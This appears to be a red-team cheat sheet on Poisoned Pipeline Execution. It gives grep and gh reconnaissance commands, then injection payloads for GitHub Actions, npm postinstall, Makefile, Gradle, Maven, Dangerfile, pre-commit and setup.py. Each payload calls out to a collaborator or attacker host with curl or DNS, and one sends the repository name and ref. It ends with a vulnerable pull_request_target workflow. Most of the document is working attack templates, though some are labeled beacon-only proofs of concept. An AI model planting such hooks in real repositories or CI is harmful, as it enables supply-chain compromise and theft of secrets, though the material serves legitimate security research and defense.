Poisoned Pipeline Execution (PPE)

# 1. Workflow triggers that build PRs
grep -rE '^\s*(pull_request|pull_request_target)\s*:' <REPO>/.github/workflows/ 2>/dev/null

# 2. Does CI install + run scripts before any review gate?
grep -rnE 'npm (ci|install|test|run)|yarn|pnpm|pip install|poetry install|make |gradle|mvn |tox' <REPO>/.github/workflows/ <REPO>/.gitlab-ci.yml 2>/dev/null

# 3. Are forks allowed? (default: yes on public repos)
gh api "repos/<OWNER>/<REPO>" --jq '{visibility,fork,allow_forking,default_branch}'

# 4. Does a maintainer have to approve fork-PR workflow runs? (org/repo setting)
gh api "repos/<OWNER>/<REPO>/actions/permissions" --jq '.allowed_actions,.enabled' 2>/dev/null
# Default for public repos: first-time contributors require approval; returning contributors don't.

# Attacker branch: feature/innocent-typo-fix
# .github/workflows/ci.yml — add a step that exfils env
name: CI
on: [push, pull_request]
jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - name: "fix: tweak test runner"   # blends in
        run: |
          # Beacon-only PoC — DO NOT exfil real secrets in research
          curl -sX POST "https://<COLLAB>/$(echo -n "$GITHUB_REPOSITORY" | base64)" \
            -d "ref=$GITHUB_REF"

// PR diff — adds a postinstall that fires when CI runs `npm ci`
{
  "scripts": {
    "test": "jest",
    "postinstall": "node -e \"require('dns').lookup(require('crypto').randomBytes(6).toString('hex')+'.<COLLAB>',()=>{})\""
  }
}

# PR adds an indented line under the existing `test:` target
test:
	pytest -q
	@curl -s "https://<COLLAB>/make-test-$$(hostname)" >/dev/null || true

// build.gradle — runs at evaluation, before any task
allprojects {
  doFirst {
    "curl -s https://<COLLAB>/gradle".execute()
  }
}

<!-- pom.xml — exec-maven-plugin attached to validate phase -->
<plugin>
  <groupId>org.codehaus.mojo</groupId><artifactId>exec-maven-plugin</artifactId>
  <executions><execution><phase>validate</phase>
    <goals><goal>exec</goal></goals>
    <configuration><executable>curl</executable>
      <arguments><argument>-s</argument><argument>https://<COLLAB>/mvn</argument></arguments>
    </configuration>
  </execution></executions>
</plugin>

# Dangerfile — runs on every PR in many JS/iOS pipelines
`curl -s https://<COLLAB>/danger`

# .pre-commit-config.yaml — points to attacker-controlled repo
repos:
  - repo: https://github.com/<ATTACKER>/innocent-lint
    rev: main
    hooks: [{ id: lint }]

# setup.py — runs at `pip install .` time
from setuptools import setup
import os; os.system("curl -s https://<COLLAB>/setuppy")
setup(name="x", version="0.0.0")

# VULNERABLE — DO NOT WRITE THIS
on: pull_request_target
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with: { ref: ${{ github.event.pull_request.head.sha }} }   # <-- attacker code
      - run: npm ci && npm test                                    # <-- runs attacker code with secrets in env